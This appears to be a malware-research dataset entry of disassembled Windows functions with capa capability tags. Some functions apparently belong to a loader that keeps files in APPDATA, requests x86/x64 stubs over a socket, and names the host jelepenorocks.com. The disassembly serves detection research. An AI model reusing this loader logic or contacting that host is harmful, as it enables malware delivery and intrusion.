joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40501b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ch, 0x7c
stc
invalid
loop 0x405058
jecxz 0x404faa
clc
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.00402e4d
sbb byte [ebx + 0x6a], ch
out dx, al
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x40503a
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x40503a
call fcn.00402e4d
push ebx
sub byte [edx - 0x30], bl
mov ebx, dword [edx + 0x24]
add ebx, edi
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.00402e4d
and eax, 0xff96642b
jne 0x405084
push dword [ebp + 4]
push dword [ebp]
call fcn.0040364d
pop esi
pop ebx
in eax, 0xff
call [esi + 0x5b]
pop ebp
ret 4

Function at 0x40999b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push eax
push dword [edi + 0x14]
push dword [ebp + 0xc]
call fcn.004071cf
mov esi, eax
test esi, esi
jns 0x4099cb
push str.Failed_to_format_variable_string.
jmp 0x409a53
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x409a26
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp esi, 0x80070002
je 0x4099fd
cmp esi, 0x80070003
jne 0x4099ff
xor esi, esi
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
test esi, esi
jns 0x409a39
push dword [ebp - 4]
push dword [edi]
push str.Failed_while_searching_directory_search:__ls__for_path:__ls
push esi
call fcn.0044012f
add esp, 0x10
jmp 0x409a5b
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
test al, 0x10
je 0x409a07
xor ecx, ecx
inc ecx
xor eax, eax
jmp 0x409a0d
push 0
push eax
push ecx
push dword [edi + 4]
push dword [ebp + 0xc]
call fcn.00408152
mov esi, eax
test esi, esi
jns 0x409a5b
push str.Failed_to_set_variable.
push esi
call fcn.0044012f
pop ecx
pop ecx
push dword [ebp - 4]
call fcn.00402793
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x409a6d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push eax
push dword [edi + 0x14]
push dword [ebp + 0xc]
call fcn.004071cf
mov esi, eax
test esi, esi
jns 0x409aa3
push str.Failed_to_format_variable_string.
push esi
call fcn.0044012f
pop ecx
pop ecx
jmp 0x409b2d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x409ac7
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
jmp 0x409aed
test al, 0x10
je 0x409ae8
push 0
push dword [ebp - 4]
push dword [edi + 4]
push dword [ebp + 0xc]
call fcn.004080f6
mov esi, eax
test esi, esi
jns 0x409aed
push str.Failed_to_set_directory_search_path_variable.
jmp 0x409a96
mov esi, 0x80070003
cmp esi, 0x80070002
je 0x409b16
cmp esi, 0x80070003
je 0x409b16
test esi, esi
jns 0x409b2d
push dword [ebp - 4]
push dword [edi]
push str.Failed_while_searching_directory_search:__ls__for_path:__ls
push esi
call fcn.0044012f
add esp, 0x10
jmp 0x409b2d
push esi
push dword [ebp - 4]
push dword [edi]
push str.Directory_search:__ls__did_not_find_path:__ls__reason:_0x_x
push 2
call fcn.0044061a
add esp, 0x14
xor esi, esi
push dword [ebp - 4]
call fcn.00402793
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x409b3f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push eax
push dword [edi + 0x14]
push dword [ebp + 0xc]
call fcn.004071cf
mov esi, eax
test esi, esi
jns 0x409b6f
push str.Failed_to_format_variable_string.
jmp 0x409c0c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x409c26
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x409bd0
cmp eax, 3
je 0x409bd0
test eax, eax
je 0x409be4
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
mov eax, 0x80004005
test esi, esi
cmovns esi, eax
push esi
push 0x28b
push str.search.cpp
call fcn.004037d3
push dword [edi + 0x14]
push str.Failed_get_to_file_attributes.__ls
push esi
call fcn.0044012f
add esp, 0xc
jmp 0x409c14
push dword [ebp - 4]
push dword [edi]
push str.File_search:__ls__did_not_find_path:__ls
push 2
call fcn.0044061a
add esp, 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0
push eax
push ecx
push dword [edi + 4]
push dword [ebp + 0xc]
call fcn.00408152
mov esi, eax
test esi, esi
jns 0x409c14
push str.Failed_to_set_variable.
push esi
call fcn.0044012f
pop ecx
pop ecx
push dword [ebp - 4]
call fcn.00402793
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
test al, 0x10
jne 0x409bec
xor ecx, ecx
inc ecx
xor eax, eax
jmp 0x409bf2
Function at 0x409c39
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push eax
push dword [edi + 0x14]
push dword [ebp + 0xc]
call fcn.004071cf
mov esi, eax
test esi, esi
jns 0x409c6f
push str.Failed_to_format_variable_string.
push esi
call fcn.0044012f
pop ecx
pop ecx
jmp 0x409cf1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x409cba
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp esi, 0x80070002
je 0x409cdb
cmp esi, 0x80070003
je 0x409cdb
test esi, esi
jns 0x409cf1
push dword [ebp - 4]
push dword [edi]
push str.Failed_while_searching_file_search:__ls__for_path:__ls
push esi
call fcn.0044012f
add esp, 0x10
jmp 0x409cf1
test al, 0x10
jne 0x409cdb
push 0
push dword [ebp - 4]
push dword [edi + 4]
push dword [ebp + 0xc]
call fcn.004080f6
mov esi, eax
test esi, esi
jns 0x409c91
push str.Failed_to_set_variable_to_file_search_path.
jmp 0x409c62
push dword [ebp - 4]
push dword [edi]
push str.File_search:__ls__did_not_find_path:__ls
push 2
call fcn.0044061a
add esp, 0x10
xor esi, esi
push dword [ebp - 4]
call fcn.00402793
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x41473a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
and dword [ebp - 0xc], esi
and dword [ebp - 8], esi
and dword [ebp - 4], esi
xor ebx, ebx
push edi
push 0
lea eax, [ebp - 4]
push eax
push 8
pop eax
sub eax, ebx
push eax
lea eax, [ebp - 0xc]
add eax, ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [ebp + 0xc]
test eax, eax
jne 0x41479a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x414783
xor esi, esi
jmp 0x41479a
cmp eax, 0x6d
je 0x4147ff
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x4147e0
add ebx, dword [ebp - 4]
cmp ebx, 8
jb 0x414750
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [edi], ecx
mov dword [edi + 4], eax
test eax, eax
je 0x414861
push 0
push eax
call fcn.004038d4
mov dword [edi + 0xc], eax
test eax, eax
jne 0x41480e
mov esi, 0x8007000e
push esi
push 0x323
push str.pipe.cpp
call fcn.004037d3
push str.Failed_to_allocate_data_for_message.
jmp 0x4147f5
push esi
push 0x318
push str.pipe.cpp
call fcn.004037d3
push str.Failed_to_read_message_from_pipe.
push esi
call fcn.0044012f
pop ecx
pop ecx
jmp 0x414861
xor ecx, ecx
xor eax, eax
xor esi, esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
inc esi
jmp 0x4147a8
push 0
lea ecx, [ebp - 4]
push ecx
push dword [edi + 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41485a
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
mov eax, 0x80004005
test esi, esi
cmovns esi, eax
push esi
push 0x327
push str.pipe.cpp
call fcn.004037d3
push str.Failed_to_read_data_for_message.
jmp 0x4147f5
mov dword [edi + 8], 1
cmp dword [edi + 8], 0
jne 0x414875
cmp dword [edi + 0xc], 0
je 0x414875
push dword [edi + 0xc]
call fcn.00403999
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x44393b
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x46a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
xor ebx, ebx
mov word [ebp - 8], 0x500
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
call fcn.00443ac9
cmp dword [ebp - 0x14], ebx
je 0x443977
mov dword [esi], 1
jmp 0x4439ab
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [esi], eax
test eax, eax
je 0x4439ab
push esi
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4439ab
mov dword [esi], ebx
cmp dword [ebp - 0x10], 0
pop esi
pop ebx
je 0x4439bb
push dword [ebp - 0x10]
call fcn.004454ef
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0042de36
mov esp, ebp
pop ebp
ret 4

Function at 0x4439cd
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x46a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x120]
push edi
mov edi, dword [ebp + 0xc]
mov ebx, 0x11c
push ebx
push 0
push eax
call fcn.0042f670
mov eax, dword [0x46b6e4]
add esp, 0xc
test eax, eax
jne 0x443aad
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
movzx ecx, word [ebp - 0xc]
movzx eax, word [ebp - 0xa]
shl ecx, 0x10
push 4
or ecx, eax
pop edx
mov dword [0x46b6e8], ecx
cmp dword [ebp - 0x11c], edx
jne 0x443a43
xor eax, eax
inc eax
jmp 0x443aa8
cmp dword [ebp - 0x11c], 5
jne 0x443a6e
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x443a5a
push 2
jmp 0x443aa7
cmp ecx, 1
jne 0x443a63
push 3
jmp 0x443aa7
push 9
cmp ecx, 2
pop eax
cmove eax, edx
jmp 0x443aa8
cmp dword [ebp - 0x11c], 6
jne 0x443aa5
cmp dword [ebp - 0x118], 0
jne 0x443a8e
xor eax, eax
cmp byte [ebp - 6], 1
setne al
add eax, 5
jmp 0x443aa8
cmp dword [ebp - 0x118], 1
jne 0x443aa5
xor eax, eax
cmp byte [ebp - 6], 1
setne al
add eax, 7
jmp 0x443aa8
push 9
pop eax
mov dword [0x46b6e4], eax
mov ecx, dword [ebp - 4]
mov dword [esi], eax
xor ecx, ebp
mov eax, dword [0x46b6e8]
mov dword [edi], eax
pop edi
pop esi
pop ebx
call fcn.0042de36
mov esp, ebp
pop ebp
ret 8
Function at 0x404cf0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
mov eax, dword [0x430060]
xor eax, esp
mov dword [esp + 0x1b8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
call fcn.00406000
test eax, eax
je 0x404e1e
lea eax, [esp + 0x30]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x404e1e
mov eax, dword [esp + 0x30]
cmp al, 2
jne 0x404e18
shr eax, 8
cmp al, 2
jne 0x404e18
push str.The_Winsock_2.2_dll_was_found_okay_n
call fcn.00409f25
add esp, 4
call fcn.00405100
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x432c90
push 0x67
push edi
call esi
push 0x64
push 0x432d60
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00404e40
mov ecx, edi
call fcn.00404ed0
test eax, eax
je 0x404e1e
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [esp + 0x10], eax
call fcn.00401350
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x14]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x404dfd
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x1c4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00409ec9
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404f60
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x432e48]
test eax, eax
jne 0x404f9b
push 0x10
call fcn.00409ffa
add esp, 4
test eax, eax
je 0x404f94
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
jmp 0x404f96
xor eax, eax
mov dword [0x432e48], eax
push esi
mov esi, dword [eax + 4]
test esi, esi
je 0x404fbc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret

Function at 0x405100
Capabilities:
Create directory

Disassembly:
push esi
push 0x400
call fcn.00409ffa
push 0x400
mov esi, eax
push 0
push esi
call fcn.00413020
add esp, 0x10
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040a224
add esp, 0x10
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop esi
ret
Function at 0x405150
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, ecx
push ebx
push esi
push edi
mov edi, dword [eax]
mov ebx, dword [eax + 4]
mov dword [ebp - 8], eax
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
lea eax, [edi + 1]
push eax
call fcn.00409ffa
add esp, 4
lea ecx, [ebx + 1]
mov esi, eax
push ecx
mov byte [esi + edi], 0
call fcn.00409ffa
mov ecx, dword [ebp - 4]
add esp, 4
inc ecx
mov dword [ebp - 0xc], eax
mov byte [eax + ebx], 0
push ecx
call fcn.00409ffa
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push edi
mov byte [ecx + eax], 0
mov ecx, dword [ebp - 8]
add ecx, 0xc
push ecx
push esi
call fcn.004182a0
mov esi, dword [ebp - 8]
add esp, 0xc
lea eax, [esi + 0xc]
push ebx
add eax, edi
push eax
push dword [ebp - 0xc]
call fcn.004182a0
add esp, 0xc
lea eax, [ebx + 0xc]
add eax, edi
mov edi, dword [ebp - 0x10]
add eax, esi
push dword [ebp - 4]
push eax
push edi
call fcn.004182a0
mov ebx, dword [ebp - 0xc]
add esp, 0xc
mov ecx, ebx
mov eax, str.SL_SEND_CURL
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405210
test dl, dl
je 0x40520c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405210
add eax, 2
add ecx, 2
test dl, dl
jne 0x4051f0
xor eax, eax
jmp 0x405215
sbb eax, eax
or eax, 1
test eax, eax
jne 0x405272
push 0x400
call fcn.0040b2b4
mov esi, eax
mov ecx, 0x10
mov edx, esi
call fcn.00406070
add esp, 4
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40526d
push 0
push 0x432d5c
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00406220
mov ecx, ebx
mov eax, str.SL_SEND_CERT
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4052a0
test dl, dl
je 0x40529c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4052a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x405280
xor eax, eax
jmp 0x4052a5
sbb eax, eax
or eax, 1
mov esi, dword [ebp - 4]
test eax, eax
jne 0x4052b5
mov edx, esi
mov ecx, edi
call fcn.004062c0
mov eax, str.SL_SEND_STUB
lea ebx, [ebx]
mov cl, byte [eax]
cmp cl, byte [ebx]
jne 0x4052e0
test cl, cl
je 0x4052dc
mov cl, byte [eax + 1]
cmp cl, byte [ebx + 1]
jne 0x4052e0
add eax, 2
add ebx, 2
test cl, cl
jne 0x4052c0
xor eax, eax
jmp 0x4052e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4052f2
mov edx, esi
mov ecx, edi
call fcn.00406460
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405300
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, ecx
test ebx, ebx
je 0x405431
mov eax, dword [0x432e48]
test eax, eax
jne 0x40534c
push 0x10
call fcn.00409ffa
add esp, 4
test eax, eax
je 0x405345
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
jmp 0x405347
xor eax, eax
mov dword [0x432e48], eax
mov eax, dword [eax + 0xc]
mov dword [ebp - 8], eax
test eax, eax
je 0x405431
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405360
mov ecx, dword [ebp + 0xc]
sub eax, edx
push esi
add ecx, 0x26
add eax, ecx
push edi
push eax
mov dword [ebp - 4], eax
call fcn.00409ffa
mov ecx, dword [str.bear]
mov edi, eax
mov esi, ebx
add esp, 4
mov dword [edi], ecx
mov byte [edi + 4], 2
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x405392
sub esi, ecx
lea eax, [edi + 9]
push esi
push ebx
push eax
mov dword [edi + 5], esi
call fcn.004182a0
mov edx, dword [ebp + 8]
lea ecx, [esi + 9]
mov dword [ecx + edi], 6
add esp, 0xc
mov eax, dword [str.loader]
mov dword [ecx + edi + 4], eax
movzx eax, word [0x42c8ec]
mov word [ecx + edi + 8], ax
mov dword [ecx + edi + 0xa], 0xb
movq xmm0, qword [str.NODE_SERVER]
movq qword [ecx + edi + 0xe], xmm0
movzx eax, word [0x42c9ec]
mov word [ecx + edi + 0x16], ax
mov al, byte [0x42c9ee]
mov byte [ecx + edi + 0x18], al
add ecx, 0x19
mov eax, dword [ebp + 0xc]
mov dword [ecx + edi], eax
test edx, edx
je 0x405416
push eax
lea eax, [edi + 4]
push edx
add eax, ecx
push eax
call fcn.004182a0
add esp, 0xc
push 0
push dword [ebp - 4]
push edi
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405480
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424f1a
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x430060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.0042228c
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x405526
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.0040ab41
push 0x42e5a4
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.0040cbd7
push edi
push esi
call fcn.004210f2
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409ec9
mov esp, ebp
pop ebp
ret 4
Function at 0x405b70
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x424fa8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x430060]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
push dword [ebp + 0x10]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.00406eb0
push dword [ebp + 0xc]
lea eax, [esp + 0x28]
push dword [ebp + 8]
push eax
call fcn.00405aa0
add esp, 0x24
mov dword [esp + 0x30], 0
cmp dword [eax + 0x14], 0x10
jb 0x405be1
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, esi
lea eax, [esp + 8]
push eax
call fcn.0040ab41
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x405c0a
push dword [esp + 0xc]
call fcn.00401450
add esp, 4
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [esi], vtable.std::_System_error.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x406000
Capabilities:
Check mutex on windows

Disassembly:
push esi
mov esi, dword [0x432e48]
test esi, esi
jne 0x406040
push 0x10
call fcn.00409ffa
mov esi, eax
add esp, 4
test esi, esi
je 0x406038
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
jmp 0x40603a
xor esi, esi
mov dword [0x432e48], esi
push str.MUTEX_WEBSOCKET_LOADER
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
pop esi
setne cl
mov eax, ecx
ret

Function at 0x4061c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
push ebx
push esi
push 0x400
call fcn.0040b2b4
mov esi, eax
mov ecx, 0x10
mov edx, esi
call fcn.00406070
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4061fd
cmp eax, 0x10
je 0x4061fd
mov bl, 1
call fcn.00406220
movzx eax, bl
pop esi
pop ebx
pop ecx
ret
push 0
push 0x42c906
mov ecx, str.LS_DOWN_CURL
xor bl, bl
call fcn.00405300
add esp, 8
movzx eax, bl
pop esi
pop ebx
pop ecx
ret

Function at 0x406220
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
push ebx
push esi
push 0x400
call fcn.0040b2b4
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040a224
add esp, 0x10
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406256
mov eax, dword [str.ca_bundle.crt]
mov dword [ecx], eax
mov eax, dword [0x42c9c0]
mov dword [ecx + 4], eax
mov eax, dword [0x42c9c4]
mov dword [ecx + 8], eax
mov ax, word [0x42c9c8]
push esi
mov word [ecx + 0xc], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4062a0
cmp eax, 0x10
je 0x4062a0
mov bl, 1
call fcn.00406370
movzx eax, bl
pop esi
pop ebx
pop ecx
ret
push 0
push 0x42c906
mov ecx, str.LS_DOWN_CERT
xor bl, bl
call fcn.00405300
add esp, 8
movzx eax, bl
pop esi
pop ebx
pop ecx
ret
Function at 0x4062c0
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push 0x400
mov edi, edx
mov ebx, ecx
call fcn.0040b2b4
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040a224
add esp, 0x10
lea ecx, [esi - 1]
lea ebx, [ebx]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406300
mov eax, dword [str.ca_bundle.crt]
push 0
push 0x80
mov dword [ecx], eax
mov eax, dword [0x42c9c0]
push 2
push 0
mov dword [ecx + 4], eax
mov eax, dword [0x42c9c4]
push 0
mov dword [ecx + 8], eax
mov ax, word [0x42c9c8]
push 0x40000000
push esi
mov word [ecx + 0xc], ax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406362
push 0
push 0x432d5c
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00406370
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x406370
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x430060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov edi, dword [ebp - 8]
push 0x400
call fcn.0040b2b4
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040a91c
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040a224
add esp, 0x10
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4063d1
mov eax, dword [str.client.exe]
mov dword [ecx], eax
mov eax, dword [0x42c9d0]
mov dword [ecx + 4], eax
mov ax, word [0x42c9d4]
mov word [ecx + 8], ax
mov al, byte [0x42c9d6]
push esi
mov byte [ecx + 0xa], al
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40641d
cmp eax, 0x10
je 0x40641d
mov bl, 1
call fcn.00406670
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40641f
xor bl, bl
mov eax, str.LS_DOWN_STUB_X86
test edi, edi
push 0x2f
mov ecx, str.LS_DOWN_STUB_X64
push str.jelepenorocks.com
cmove ecx, eax
call fcn.00405300
mov ecx, dword [ebp - 4]
add esp, 8
movzx eax, bl
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00409ec9
mov esp, ebp
pop ebp
ret